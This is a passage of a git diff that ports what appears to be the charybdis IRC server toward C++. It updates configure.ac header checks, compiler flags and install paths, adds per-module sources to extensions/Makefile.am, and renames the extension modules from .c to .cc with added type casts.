+RB_CHK_SYSHEADER([sys/stat.h], [SYS_STAT_H]) +RB_CHK_SYSHEADER([sys/file.h], [SYS_FILE_H]) +RB_CHK_SYSHEADER([sys/param.h], [SYS_PARAM_H]) +RB_CHK_SYSHEADER([sys/resource.h], [SYS_RESOURCE_H]) +RB_CHK_SYSHEADER([sys/socket.h], [SYS_SOCKET_H]) +RB_CHK_SYSHEADER([arpa/inet.h], [ARPA_INET_H]) +RB_CHK_SYSHEADER([netinet/in.h], [NETINET_IN_H]) +RB_CHK_SYSHEADER([netinet/tcp.h], [NETINET_TCP_H]) +RB_CHK_SYSHEADER([string.h], [STRING_H]) +RB_CHK_SYSHEADER([strings.h], [STRINGS_H]) +RB_CHK_SYSHEADER([stdio.h], [STDIO_H]) +RB_CHK_SYSHEADER([crypt.h], [CRYPT_H]) +RB_CHK_SYSHEADER([sys/uio.h], [SYS_UIO_H]) +RB_CHK_SYSHEADER([spawn.h], [SPAWN_H]) +RB_CHK_SYSHEADER([sys/poll.h], [SYS_POLL_H]) +RB_CHK_SYSHEADER([sys/epoll.h], [SYS_EPOLL_H]) +RB_CHK_SYSHEADER([sys/select.h], [SYS_SELECT_H]) +RB_CHK_SYSHEADER([sys/devpoll.h], [SYS_DEVPOLL_H]) +RB_CHK_SYSHEADER([sys/event.h], [SYS_EVENT_H]) +RB_CHK_SYSHEADER([port.h], [PORT_H]) +RB_CHK_SYSHEADER([sys/signalfd.h], [SYS_SIGNALFD_H]) +RB_CHK_SYSHEADER([sys/timerfd.h], [SYS_TIMERFD_H]) +RB_CHK_SYSHEADER([execinfo.h], [EXECINFO_H]) + +RB_CHK_SYSHEADER([cstddef], [CSTDDEF]) +RB_CHK_SYSHEADER([cstdint], [CSTDINT]) +RB_CHK_SYSHEADER([limits], [LIMITS]) +RB_CHK_SYSHEADER([type_traits], [TYPE_TRAITS]) +RB_CHK_SYSHEADER([utility], [UTILITY]) +RB_CHK_SYSHEADER([functional], [FUNCTIONAL]) +RB_CHK_SYSHEADER([algorithm], [ALGORITHM]) +RB_CHK_SYSHEADER([memory], [MEMORY]) +RB_CHK_SYSHEADER([exception], [EXCEPTION]) +RB_CHK_SYSHEADER([cerrno], [CERRNO]) +RB_CHK_SYSHEADER([system_error], [SYSTEM_ERROR]) +RB_CHK_SYSHEADER([map], [MAP]) +RB_CHK_SYSHEADER([set], [SET]) +RB_CHK_SYSHEADER([list], [LIST]) +RB_CHK_SYSHEADER([deque], [DEQUE]) +RB_CHK_SYSHEADER([array], [ARRAY]) +RB_CHK_SYSHEADER([vector], [VECTOR]) +RB_CHK_SYSHEADER([forward_list], [FORWARD_LIST]) +RB_CHK_SYSHEADER([unordered_map], [UNORDERED_MAP]) +RB_CHK_SYSHEADER([string], [STRING]) +RB_CHK_SYSHEADER([sstream], [SSTREAM]) +RB_CHK_SYSHEADER([fstream], [FSTREAM]) +RB_CHK_SYSHEADER([iostream], [IOSTREAM]) +RB_CHK_SYSHEADER([cstdio], [CSTDIO]) + +RB_CHK_SYSHEADER([windows.h], [WINDOWS_H]) +RB_CHK_SYSHEADER([winsock2.h], [WINSOCK2_H]) +RB_CHK_SYSHEADER([ws2tcpip.h], [WS2TCPIP_H]) +RB_CHK_SYSHEADER([iphlpapi.h], [IPHLPAPI_H]) + + +dnl todo +AC_DEFINE([HAVE_BOOST_ASIO_HPP], [1], [ boost asio. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_ASIO_HPP], [boost/asio.hpp>], [ boost asio. ]) + +AC_DEFINE([HAVE_BOOST_CONTEXT_ALL_HPP], [1], [ boost context. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_CONTEXT_ALL_HPP], [boost/context/all.hpp>], [ boost context. ]) + +AC_DEFINE([HAVE_BOOST_ASIO_SPAWN_HPP], [1], [ boost asio spawn. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_ASIO_SPAWN_HPP], [boost/asio/spawn.hpp>], [ boost asio spawn. ]) + +AC_DEFINE([HAVE_BOOST_LEXICAL_CAST_HPP], [1], [ boost asio. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_LEXICAL_CAST_HPP], [boost/lexical_cast.hpp>], [ boost lexical_cast. ]) + +AC_DEFINE([HAVE_BOOST_TOKENIZER_HPP], [1], [ boost tokenizer. ]) +RB_DEFINE_UNQUOTED([INC_BOOST_TOKENIZER_HPP], [boost/tokenizer.hpp>], [ boost tokenizer. ]) + + dnl use directory structure of cached as default (hack) if test "$libexecdir" = '${exec_prefix}/libexec' && test "$localstatedir" = '${prefix}/var'; then @@ -577,7 +636,7 @@ AC_HELP_STRING([--enable-profile],[Enable profiling]), if test "$profile" = yes; then if test "$ac_cv_c_compiler_gnu" = yes; then - CFLAGS="$CFLAGS -pg -static" + CPPFLAGS="$CPPFLAGS -pg -static" AC_MSG_RESULT([yes, adding -pg -static]) AC_DEFINE(RB_PROFILE, 1, [Defined to mark profiling is enabled]) else @@ -589,11 +648,10 @@ fi AC_ARG_ENABLE(warnings, AC_HELP_STRING([--enable-warnings],[Enable all sorts of warnings for debugging.]), -[CFLAGS="$CFLAGS -Wall -Wcast-qual -Wmissing-declarations -Wmissing-prototypes -Wnested-externs -Wshadow -Wwrite-strings -W -Wno-unused -Wunused-function -Wunused-variable"],[]) +[CPPFLAGS="$CPPFLAGS -Wall -Wcast-qual -Wmissing-declarations -Wmissing-prototypes -Wnested-externs -Wwrite-strings -W -Wno-unused -Wunused-function -Wunused-variable"],[]) AC_SUBST(LDFLAGS) AC_SUBST(PICFLAGS) -AC_SUBST(CFLAGS) AC_SUBST(SEDOBJ) AC_SUBST(SSL_CFLAGS) AC_SUBST(SSL_LIBS) @@ -604,7 +662,6 @@ AC_SUBST(MBEDTLS_LIBS) if test "$prefix" = "NONE"; then AC_DEFINE_UNQUOTED(RB_PREFIX, "$ac_default_prefix", [Prefix where librb is installed.]) - else dnl Don't get bitten by Cygwin's stupidity if the user specified @@ -640,15 +697,6 @@ esac AM_CONDITIONAL([MINGW], [test "$is_mingw" = "yes"]) -if test "$ac_cv_c_compiler_gnu" = yes; then - IRC_CFLAGS="$IRC_CFLAGS -O0 -Wall" -fi - -dnl If we support -g, use it! -if test "$ac_cv_prog_cc_g" = yes; then - IRC_CFLAGS="$IRC_CFLAGS -g" -fi - dnl check for /dev/null so we can use it to hold evil fd's AC_MSG_CHECKING([for /dev/null]) if test -c /dev/null ; then @@ -659,13 +707,6 @@ else AC_MSG_RESULT(no - using devnull.log) fi -dnl jdc -- If CFLAGS is defined, best use it everywhere... -dnl NOTE: jv says it must be added to the *END*, because things like -dnl "gcc -O9 -O2" will result in -O2 getting preference. How stupid. -if test ! -z "$CFLAGS"; then - IRC_CFLAGS="$IRC_CFLAGS $CFLAGS" -fi - AC_PROG_YACC dnl AC_PROG_YACC defaults to yacc unconditionally if nothing can be found @@ -949,8 +990,26 @@ AC_ARG_WITH([confdir], [AC_HELP_STRING([--with-confdir=DIR], [Directory to install config files [deprecated, use --sysconfdir instead].])], [ sysconfdir=`echo $withval | sed 's/\/$//'` ], - [ confdir='${sysconfdir}' ]) -AC_DEFINE_DIR([ETC_DIR], [sysconfdir], [Prefix where config files are installed.]) + [ confdir='etc' ]) +RB_DEFINE_UNQUOTED([ETC_DIR], ["${prefix}/${confdir}"], [Prefix where config files are installed.]) + +dnl ********************************************************************** +dnl Check for --with-bindir +dnl ********************************************************************** + +AC_MSG_CHECKING([whether to modify binary directory]) +AC_ARG_WITH(bindir, +AC_HELP_STRING([--with-bindir=DIR], + [Directory where binary executables are placed.]), + [ logdir=`echo $withval | sed 's/\/$//'` + AC_MSG_RESULT(yes)], + [ AS_IF([test "x$enable_fhs_paths" = "xyes"], + [bindir="${prefix}/bin"], + [bindir="${prefix}/bin"]) + AC_MSG_RESULT(no)]) +RB_DEFINE_UNQUOTED([BIN_DIR], ["${bindir}"], [Directory where binary executables are to be found.]) +AC_SUBST_DIR([bindir]) + dnl ********************************************************************** dnl Check for --with-logdir @@ -963,10 +1022,10 @@ AC_HELP_STRING([--with-logdir=DIR], [ logdir=`echo $withval | sed 's/\/$//'` AC_MSG_RESULT(yes)], [ AS_IF([test "x$enable_fhs_paths" = "xyes"], - [logdir='${localstatedir}/log/${PACKAGE_TARNAME}'], - [logdir='${prefix}/logs']) + [logdir="${prefix}/var/log"], + [logdir="${prefix}/var/${PACKAGE_TARNAME}/log"]) AC_MSG_RESULT(no)]) -AC_DEFINE_DIR([LOG_DIR], [logdir], [Prefix where to write logfiles.]) +RB_DEFINE_UNQUOTED([LOG_DIR], ["${logdir}"], [Prefix where to write logfiles.]) AC_SUBST_DIR([logdir]) dnl ********************************************************************** @@ -980,10 +1039,10 @@ AC_HELP_STRING([--with-helpdir=DIR], [ helpdir=`echo $withval | sed 's/\/$//'` AC_MSG_RESULT(yes) ], [ AS_IF([test "x$enable_fhs_paths" = "xyes"], - [helpdir='${datadir}/${PACKAGE_TARNAME}/help'], - [helpdir='${prefix}/help']) + [helpdir="${prefix}/share/help"], + [helpdir="${prefix}/share/${PACKAGE_TARNAME}/help"]) AC_MSG_RESULT(no) ]) -AC_DEFINE_DIR([HELP_DIR], [helpdir], [Prefix where help files are installed.]) +RB_DEFINE_UNQUOTED([HELP_DIR], ["${helpdir}"], [Prefix where help files are installed.]) AC_SUBST_DIR([helpdir]) dnl ********************************************************************** @@ -997,11 +1056,11 @@ AC_ARG_WITH(moduledir, [ moduledir=`echo $withval | sed 's/\/$//'` AC_MSG_RESULT(yes)], [ AS_IF([test "x$enable_fhs_paths" = "xyes"], - [moduledir='${pkglibdir}/modules'], - [moduledir='${prefix}/modules']) + [moduledir="${prefix}/lib/modules"], + [moduledir="${prefix}/lib/${PACKAGE_TARNAME}/modules"]) AC_MSG_RESULT(no) ]) -AC_DEFINE_DIR(MODULE_DIR, moduledir, [Prefix where modules are installed.]) +RB_DEFINE_UNQUOTED([MODULE_DIR], ["${moduledir}"], [Prefix where modules are installed.]) AC_SUBST_DIR([moduledir]) dnl Check for --with-rundir @@ -1014,10 +1073,10 @@ AC_ARG_WITH([rundir], rundir=`echo $withval | sed 's/\/$//'`], [AC_MSG_RESULT([no]) AS_IF([test "x$enable_fhs_paths" = "xyes"], - [rundir='${prefix}/run'], - [rundir='${sysconfdir}'])]) + [rundir="${prefix}/var/run"], + [rundir="${prefix}/${PACKAGE_TARNAME}/run"])]) AC_SUBST([rundir]) -AC_DEFINE_DIR([PKGRUNDIR], [pkgrundir], [Directory to store pidfile in.]) +AC_DEFINE_DIR([PKGRUNDIR], ["${rundir}"], [Directory to store pidfile in.]) dnl Installed utility program prefixes (does not affect binaries dnl installed into pkglibexecdir) @@ -1097,7 +1156,7 @@ AC_HELP_STRING([--enable-profile],[Enable profiling]), if test "$profile" = yes; then if test "$ac_cv_c_compiler_gnu" = yes; then - IRC_CFLAGS="$IRC_CFLAGS -pg" + CPPFLAGS="$CPPFLAGS -pg" AC_MSG_RESULT([yes, adding -pg]) AC_DEFINE(CHARYBDIS_PROFILE, 1, [Define this if you are profiling.]) else @@ -1140,14 +1199,14 @@ AC_DEFINE_UNQUOTED(NICKLEN, (${NICKLEN}+1), [Nickname length]) # rpath, for finding librb.so at run time hold_ldflags=$LDFLAGS -AC_MSG_CHECKING(for the ld -rpath flag) -LDFLAGS="${LDFLAGS} -Wl,-rpath=${libdir}" -AC_LINK_IFELSE([AC_LANG_PROGRAM([],[int i;])], found=yes, found=no) -LDFLAGS=$hold_ldflags -AC_MSG_RESULT($found) -if test "$found" = yes; then - LDFLAGS="${LDFLAGS} -Wl,-rpath=\${libdir}" -fi +#AC_MSG_CHECKING(for the ld -rpath flag) +#LDFLAGS="${LDFLAGS} -Wl,-rpath=${prefix}/${libdir}" +#AC_LINK_IFELSE([AC_LANG_PROGRAM([],[int i;])], found=yes, found=no) +#LDFLAGS=$hold_ldflags +#AC_MSG_RESULT($found) +#if test "$found" = yes; then +# LDFLAGS="${LDFLAGS} -Wl,-rpath=${prefix}/${libdir}" +#fi # This must be down here, or it will mess up checks like the ones # for -Wl,-export-dynamic @@ -1156,9 +1215,6 @@ CWARNS="" AC_ARG_ENABLE(warnings, AC_HELP_STRING([--enable-warnings],[Enable all sorts of warnings for debugging.]), [ -IRC_CFLAGS="$IRC_CFLAGS -O0" -CFLAGS="$IRC_CFLAGS" - CHARYBDIS_C_GCC_TRY_FLAGS([-Wall], charybdis_cv_c_gcc_w_all) CHARYBDIS_C_GCC_TRY_FLAGS([-Wpointer-arith], charybdis_cv_c_gcc_w_pointer_arith) CHARYBDIS_C_GCC_TRY_FLAGS([-Wimplicit -Wnested-externs], charybdis_cv_c_gcc_w_implicit) @@ -1178,12 +1234,11 @@ CHARYBDIS_C_GCC_TRY_FLAGS([-Wnested-externs], charybdis_cv_c_gcc_w_nested_extern CHARYBDIS_C_GCC_TRY_FLAGS([-Wunused-function -Wunused-label -Wunused-value -Wunused-variable], charybdis_cv_c_gcc_w_unused) CHARYBDIS_C_GCC_TRY_FLAGS([-Wredundant-decls], charybdis_cv_c_gcc_w_redundant_decls) CHARYBDIS_C_GCC_TRY_FLAGS([-Wfloat-equal], charybdis_cv_c_gcc_w_float_equal) +CHARYBDIS_C_GCC_TRY_FLAGS([-Winvalid-pch], charybdis_cv_c_gcc_w_invalid_pch) CHARYBDIS_C_GCC_TRY_FLAGS([-Wformat -Wformat-y2k -Wno-format-security], charybdis_cv_c_gcc_w_format) - -IRC_CFLAGS="$CFLAGS" ],[]) -IRC_CFLAGS="$IRC_CFLAGS $CWARNS" +CPPFLAGS="$CPPFLAGS $CWARNS" AC_SUBST(MODULES_LIBS) AC_SUBST(MOD_TARGET) @@ -1192,9 +1247,10 @@ AC_SUBST(SSL_SRCS_ENABLE) AC_SUBST(SSL_INCLUDES) AC_SUBST(SSL_LIBS) +AC_SUBST(CFLAGS) +AC_SUBST(CPPFLAGS) AC_SUBST(LDFLAGS) AC_SUBST(PICFLAGS) -AC_SUBST(IRC_CFLAGS) AC_SUBST(SEDOBJ) diff --git a/extensions/Makefile.am b/extensions/Makefile.am index 087cd91e7..c16debaa0 100644 --- a/extensions/Makefile.am +++ b/extensions/Makefile.am @@ -1,10 +1,83 @@ AM_CPPFLAGS = -I$(top_srcdir)/include $(LTDLINCL) +AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include AM_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined -shared AM_LDFLAGS += -export-symbols-regex _mheader -LIBS += $(top_srcdir)/rb/librb.la $(top_srcdir)/ircd/libircd.la +AM_LDFLAGS += -L$(top_srcdir)/boost/lib -lboost_system +AM_LDFLAGS += -L$(top_srcdir)/ircd -lircd +AM_LDFLAGS += -L$(top_srcdir)/rb -lrb + extensiondir=@moduledir@/extensions +chm_adminonly_la_SOURCES = chm_adminonly.cc +chm_operonly_la_SOURCES = chm_operonly.cc +chm_operonly_compat_la_SOURCES = chm_operonly_compat.cc +chm_insecure_la_SOURCES = chm_insecure.cc +chm_nonotice_la_SOURCES = chm_nonotice.cc +chm_operpeace_la_SOURCES = chm_operpeace.cc +chm_quietunreg_compat_la_SOURCES = chm_quietunreg_compat.cc +chm_spamfilter_la_SOURCES = chm_spamfilter.cc +chm_sslonly_la_SOURCES = chm_sslonly.cc +chm_sslonly_compat_la_SOURCES = chm_sslonly_compat.cc +createauthonly_la_SOURCES = createauthonly.cc +createoperonly_la_SOURCES = createoperonly.cc +extb_account_la_SOURCES = extb_account.cc +extb_canjoin_la_SOURCES = extb_canjoin.cc +extb_channel_la_SOURCES = extb_channel.cc +extb_hostmask_la_SOURCES = extb_hostmask.cc +extb_oper_la_SOURCES = extb_oper.cc +extb_server_la_SOURCES = extb_server.cc +extb_ssl_la_SOURCES = extb_ssl.cc +extb_realname_la_SOURCES = extb_realname.cc +extb_usermode_la_SOURCES = extb_usermode.cc +extb_extgecos_la_SOURCES = extb_extgecos.cc +extb_combi_la_SOURCES = extb_combi.cc +force_user_invis_la_SOURCES = force_user_invis.cc +helpops_la_SOURCES = helpops.cc +hurt_la_SOURCES = hurt.cc +ip_cloaking_la_SOURCES = ip_cloaking.cc +ip_cloaking_old_la_SOURCES = ip_cloaking_old.cc +ip_cloaking_3_0_la_SOURCES = ip_cloaking_3.0.cc +ip_cloaking_4_0_la_SOURCES = ip_cloaking_4.0.cc +override_la_SOURCES = override.cc +restrict_unauthenticated_la_SOURCES = restrict-unauthenticated.cc +sno_channelcreate_la_SOURCES = sno_channelcreate.cc +sno_farconnect_la_SOURCES = sno_farconnect.cc +sno_globalkline_la_SOURCES = sno_globalkline.cc +sno_globalnickchange_la_SOURCES = sno_globalnickchange.cc +sno_globaloper_la_SOURCES = sno_globaloper.cc +sno_whois_la_SOURCES = sno_whois.cc +umode_noctcp_la_SOURCES = umode_noctcp.cc +m_adminwall_la_SOURCES = m_adminwall.cc +m_echotags_la_SOURCES = m_echotags.cc +m_extendchans_la_SOURCES = m_extendchans.cc +m_findforwards_la_SOURCES = m_findforwards.cc +m_identify_la_SOURCES = m_identify.cc +m_locops_la_SOURCES = m_locops.cc +m_mkpasswd_la_SOURCES = m_mkpasswd.cc +m_ojoin_la_SOURCES = m_ojoin.cc +m_okick_la_SOURCES = m_okick.cc +m_omode_la_SOURCES = m_omode.cc +m_opme_la_SOURCES = m_opme.cc +m_sendbans_la_SOURCES = m_sendbans.cc +m_webirc_la_SOURCES = m_webirc.cc +m_remove_la_SOURCES = m_remove.cc +m_roleplay_la_SOURCES = m_roleplay.cc +hide_uncommon_channels_la_SOURCES = hide_uncommon_channels.cc +no_kill_services_la_SOURCES = no_kill_services.cc +no_locops_la_SOURCES = no_locops.cc +no_oper_invis_la_SOURCES = no_oper_invis.cc +spamfilter_nicks_la_SOURCES = spamfilter_nicks.cc +spy_admin_notice_la_SOURCES = spy_admin_notice.cc +spy_info_notice_la_SOURCES = spy_info_notice.cc +spy_links_notice_la_SOURCES = spy_links_notice.cc +spy_motd_notice_la_SOURCES = spy_motd_notice.cc +spy_stats_notice_la_SOURCES = spy_stats_notice.cc +spy_stats_p_notice_la_SOURCES = spy_stats_p_notice.cc +spy_trace_notice_la_SOURCES = spy_trace_notice.cc +example_module_la_SOURCES = example_module.cc + + extension_LTLIBRARIES = \ chm_adminonly.la \ chm_operonly.la \ @@ -77,6 +150,7 @@ extension_LTLIBRARIES = \ if PCRE extension_LTLIBRARIES += spamfilter_expr.la +spamfilter_expr_la_SOURCES = spamfilter_expr.cc spamfilter_expr_la_CPPFLAGS = $(AM_CPPFLAGS) $(PCRE_CFLAGS) spamfilter_expr_la_LIBADD = $(PCRE_LIBS) diff --git a/extensions/chm_adminonly.c b/extensions/chm_adminonly.cc similarity index 100% rename from extensions/chm_adminonly.c rename to extensions/chm_adminonly.cc diff --git a/extensions/chm_insecure.c b/extensions/chm_insecure.cc similarity index 100% rename from extensions/chm_insecure.c rename to extensions/chm_insecure.cc diff --git a/extensions/chm_nonotice.c b/extensions/chm_nonotice.cc similarity index 100% rename from extensions/chm_nonotice.c rename to extensions/chm_nonotice.cc diff --git a/extensions/chm_operonly.c b/extensions/chm_operonly.cc similarity index 100% rename from extensions/chm_operonly.c rename to extensions/chm_operonly.cc diff --git a/extensions/chm_operonly_compat.c b/extensions/chm_operonly_compat.cc similarity index 93% rename from extensions/chm_operonly_compat.c rename to extensions/chm_operonly_compat.cc index 51c5d8adf..a51579dfc 100644 --- a/extensions/chm_operonly_compat.c +++ b/extensions/chm_operonly_compat.cc @@ -25,7 +25,7 @@ _modinit(void) { chmode_table['O'].set_func = chm_operonly; chmode_table['O'].mode_type = 0; - chmode_table['O'].mode_class = CHM_D; + chmode_table['O'].mode_class = ChmClass{CHM_D}; return 0; } @@ -35,7 +35,7 @@ _moddeinit(void) { chmode_table['O'].set_func = chm_nosuch; chmode_table['O'].mode_type = 0; - chmode_table['O'].mode_class = 0; + chmode_table['O'].mode_class = ChmClass(0); } static void diff --git a/extensions/chm_operpeace.c b/extensions/chm_operpeace.cc similarity index 100% rename from extensions/chm_operpeace.c rename to extensions/chm_operpeace.cc diff --git a/extensions/chm_quietunreg_compat.c b/extensions/chm_quietunreg_compat.cc similarity index 96% rename from extensions/chm_quietunreg_compat.c rename to extensions/chm_quietunreg_compat.cc index 906322d4d..d0b8e03bf 100644 --- a/extensions/chm_quietunreg_compat.c +++ b/extensions/chm_quietunreg_compat.cc @@ -36,7 +36,7 @@ _moddeinit(void) { chmode_table['R'].set_func = chm_nosuch; chmode_table['R'].mode_type = 0; - chmode_table['R'].mode_class = 0; + chmode_table['R'].mode_class = ChmClass(0); } static void diff --git a/extensions/chm_spamfilter.c b/extensions/chm_spamfilter.cc similarity index 98% rename from extensions/chm_spamfilter.c rename to extensions/chm_spamfilter.cc index a6162ccc2..fe1ceff21 100644 --- a/extensions/chm_spamfilter.c +++ b/extensions/chm_spamfilter.cc @@ -100,7 +100,7 @@ void substitute_reject_reason(void) static void set_reject_reason(void *const str) { - rb_strlcpy(reject_reason, str, sizeof(reject_reason)); + rb_strlcpy(reject_reason, (const char *)str, sizeof(reject_reason)); substitute_reject_reason(); } diff --git a/extensions/chm_sslonly.c b/extensions/chm_sslonly.cc similarity index 100% rename from extensions/chm_sslonly.c rename to extensions/chm_sslonly.cc diff --git a/extensions/chm_sslonly_compat.c b/extensions/chm_sslonly_compat.cc similarity index 93% rename from extensions/chm_sslonly_compat.c rename to extensions/chm_sslonly_compat.cc index 1b059d5b6..51d38745a 100644 --- a/extensions/chm_sslonly_compat.c +++ b/extensions/chm_sslonly_compat.cc @@ -25,7 +25,7 @@ _modinit(void) { chmode_table['S'].set_func = chm_sslonly; chmode_table['S'].mode_type = 0; - chmode_table['S'].mode_class = CHM_D; + chmode_table['S'].mode_class = ChmClass{CHM_D}; return 0; } @@ -35,7 +35,7 @@ _moddeinit(void) { chmode_table['S'].set_func = chm_nosuch; chmode_table['S'].mode_type = 0; - chmode_table['S'].mode_class = 0; + chmode_table['S'].mode_class = ChmClass(0); } static void diff --git a/extensions/createauthonly.c b/extensions/createauthonly.cc similarity index 100% rename from extensions/createauthonly.c rename to extensions/createauthonly.cc diff --git a/extensions/createoperonly.c b/extensions/createoperonly.cc similarity index 100% rename from extensions/createoperonly.c rename to extensions/createoperonly.cc diff --git a/extensions/example_module.c b/extensions/example_module.cc similarity index 100% rename from extensions/example_module.c rename to extensions/example_module.cc diff --git a/extensions/extb_account.c b/extensions/extb_account.cc similarity index 100% rename from extensions/extb_account.c rename to extensions/extb_account.cc diff --git a/extensions/extb_canjoin.c b/extensions/extb_canjoin.cc similarity index 100% rename from extensions/extb_canjoin.c rename to extensions/extb_canjoin.cc diff --git a/extensions/extb_channel.c b/extensions/extb_channel.cc similarity index 100% rename from extensions/extb_channel.c rename to extensions/extb_channel.cc diff --git a/extensions/extb_combi.c b/extensions/extb_combi.cc similarity index 100% rename from extensions/extb_combi.c rename to extensions/extb_combi.cc diff --git a/extensions/extb_extgecos.c b/extensions/extb_extgecos.cc similarity index 100% rename from extensions/extb_extgecos.c rename to extensions/extb_extgecos.cc diff --git a/extensions/extb_hostmask.c b/extensions/extb_hostmask.cc similarity index 100% rename from extensions/extb_hostmask.c rename to extensions/extb_hostmask.cc diff --git a/extensions/extb_oper.c b/extensions/extb_oper.cc similarity index 100% rename from extensions/extb_oper.c rename to extensions/extb_oper.cc diff --git a/extensions/extb_realname.c b/extensions/extb_realname.cc similarity index 100% rename from extensions/extb_realname.c rename to extensions/extb_realname.cc diff --git a/extensions/extb_server.c b/extensions/extb_server.cc similarity index 100% rename from extensions/extb_server.c rename to extensions/extb_server.cc diff --git a/extensions/extb_ssl.c b/extensions/extb_ssl.cc similarity index 100% rename from extensions/extb_ssl.c rename to extensions/extb_ssl.cc diff --git a/extensions/extb_usermode.c b/extensions/extb_usermode.cc similarity index 100% rename from extensions/extb_usermode.c rename to extensions/extb_usermode.cc diff --git a/extensions/force_user_invis.c b/extensions/force_user_invis.cc similarity index 100% rename from extensions/force_user_invis.c rename to extensions/force_user_invis.cc diff --git a/extensions/helpops.c b/extensions/helpops.cc similarity index 99% rename from extensions/helpops.c rename to extensions/helpops.cc index 9d49579b8..4b9a32bdb 100644 --- a/extensions/helpops.c +++ b/extensions/helpops.cc @@ -132,7 +132,7 @@ h_hdl_stats_request(hook_data_int *hdata) RB_DLINK_FOREACH (helper_ptr, helper_list.head) { - target_p = helper_ptr->data; + target_p = (Client *)helper_ptr->data; if(target_p->user->away) continue; diff --git a/extensions/hide_uncommon_channels.c b/extensions/hide_uncommon_channels.cc similarity index 100% rename from extensions/hide_uncommon_channels.c rename to extensions/hide_uncommon_channels.cc diff --git a/extensions/hurt.c b/extensions/hurt.cc similarity index 98% rename from extensions/hurt.c rename to extensions/hurt.cc index 30d4c8708..e150e6b0c 100644 --- a/extensions/hurt.c +++ b/extensions/hurt.cc @@ -123,11 +123,8 @@ DECLARE_MODULE_AV2( ); /* }}} */ -hurt_state_t hurt_state = { - .cutoff = HURT_CUTOFF, - .default_expire = HURT_DEFAULT_EXPIRE, - .exit_reason = HURT_EXIT_REASON, -}; + +hurt_state_t hurt_state; /* * Module constructor/destructor. @@ -143,6 +140,9 @@ modinit(void) { /* set-up hurt_state. */ hurt_state.start_time = rb_current_time(); + hurt_state.cutoff = HURT_CUTOFF; + hurt_state.default_expire = HURT_DEFAULT_EXPIRE; + hurt_state.exit_reason = HURT_EXIT_REASON; /* add our event handlers. */ hurt_expire_ev = rb_event_add("hurt_expire", hurt_expire_event, NULL, 60); @@ -390,7 +390,7 @@ hurt_check_event(void *arg) struct Client *client_p; RB_DLINK_FOREACH_SAFE (ptr, next_ptr, hurt_state.hurt_clients.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; if (!EmptyString(client_p->user->suser)) { rb_dlinkDestroy(ptr, &hurt_state.hurt_clients); @@ -534,7 +534,7 @@ hurt_new(time_t expire, const char *ip, const char *reason) { hurt_t *hurt; - hurt = rb_malloc(sizeof(hurt_t)); + hurt = (hurt_t *)rb_malloc(sizeof(hurt_t)); hurt->ip = rb_strdup(ip); hurt->reason = rb_strdup(reason); diff --git a/extensions/ip_cloaking.c b/extensions/ip_cloaking.cc similarity index 98% rename from extensions/ip_cloaking.c rename to extensions/ip_cloaking.cc index f4ce078e0..9f6c169b6 100644 --- a/extensions/ip_cloaking.c +++ b/extensions/ip_cloaking.cc @@ -203,14 +203,14 @@ check_umode_change(void *vdata) static void check_new_user(void *vdata) { - struct Client *source_p = (void *)vdata; + struct Client *source_p = (Client *)vdata; if (IsIPSpoof(source_p)) { source_p->umodes &= ~user_modes['h']; return; } - source_p->localClient->mangledhost = rb_malloc(HOSTLEN + 1); + source_p->localClient->mangledhost = (char *)rb_malloc(HOSTLEN + 1); if (!irccmp(source_p->orighost, source_p->sockhost)) do_host_cloak_ip(source_p->orighost, source_p->localClient->mangledhost); else diff --git a/extensions/ip_cloaking_3.0.c b/extensions/ip_cloaking_3.0.cc similarity index 98% rename from extensions/ip_cloaking_3.0.c rename to extensions/ip_cloaking_3.0.cc index 80a339002..ef5f2a2a4 100644 --- a/extensions/ip_cloaking_3.0.c +++ b/extensions/ip_cloaking_3.0.cc @@ -209,14 +209,14 @@ check_umode_change(void *vdata) static void check_new_user(void *vdata) { - struct Client *source_p = (void *)vdata; + struct Client *source_p = (Client *)vdata; if (IsIPSpoof(source_p)) { source_p->umodes &= ~user_modes['h']; return; } - source_p->localClient->mangledhost = rb_malloc(HOSTLEN); + source_p->localClient->mangledhost = (char *)rb_malloc(HOSTLEN); if (!irccmp(source_p->orighost, source_p->sockhost)) do_host_cloak_ip(source_p->orighost, source_p->localClient->mangledhost); else diff --git a/extensions/ip_cloaking_4.0.c b/extensions/ip_cloaking_4.0.cc similarity index 98% rename from extensions/ip_cloaking_4.0.c rename to extensions/ip_cloaking_4.0.cc index cd9abac4d..740e90d64 100644 --- a/extensions/ip_cloaking_4.0.c +++ b/extensions/ip_cloaking_4.0.cc @@ -203,14 +203,14 @@ check_umode_change(void *vdata) static void check_new_user(void *vdata) { - struct Client *source_p = (void *)vdata; + struct Client *source_p = (Client *)vdata; if (IsIPSpoof(source_p)) { source_p->umodes &= ~user_modes['x']; return; } - source_p->localClient->mangledhost = rb_malloc(HOSTLEN + 1); + source_p->localClient->mangledhost = (char *)rb_malloc(HOSTLEN + 1); if (!irccmp(source_p->orighost, source_p->sockhost)) do_host_cloak_ip(source_p->orighost, source_p->localClient->mangledhost); else diff --git a/extensions/ip_cloaking_old.c b/extensions/ip_cloaking_old.cc similarity index 97% rename from extensions/ip_cloaking_old.c rename to extensions/ip_cloaking_old.cc index 38d45b6b4..bcbd18882 100644 --- a/extensions/ip_cloaking_old.c +++ b/extensions/ip_cloaking_old.cc @@ -151,14 +151,14 @@ check_umode_change(void *vdata) static void check_new_user(void *vdata) { - struct Client *source_p = (void *)vdata; + struct Client *source_p = (Client *)vdata; if (IsIPSpoof(source_p)) { source_p->umodes &= ~user_modes['h']; return; } - source_p->localClient->mangledhost = rb_malloc(HOSTLEN); + source_p->localClient->mangledhost = (char *)rb_malloc(HOSTLEN); if (!irccmp(source_p->orighost, source_p->sockhost)) do_host_cloak(source_p->orighost, source_p->localClient->mangledhost, 1); else diff --git a/extensions/m_adminwall.c b/extensions/m_adminwall.cc similarity index 100% rename from extensions/m_adminwall.c rename to extensions/m_adminwall.cc diff --git a/extensions/m_echotags.c b/extensions/m_echotags.cc similarity index 100% rename from extensions/m_echotags.c rename to extensions/m_echotags.cc diff --git a/extensions/m_extendchans.c b/extensions/m_extendchans.cc similarity index 100% rename from extensions/m_extendchans.c rename to extensions/m_extendchans.cc diff --git a/extensions/m_findforwards.c b/extensions/m_findforwards.cc similarity index 99% rename from extensions/m_findforwards.c rename to 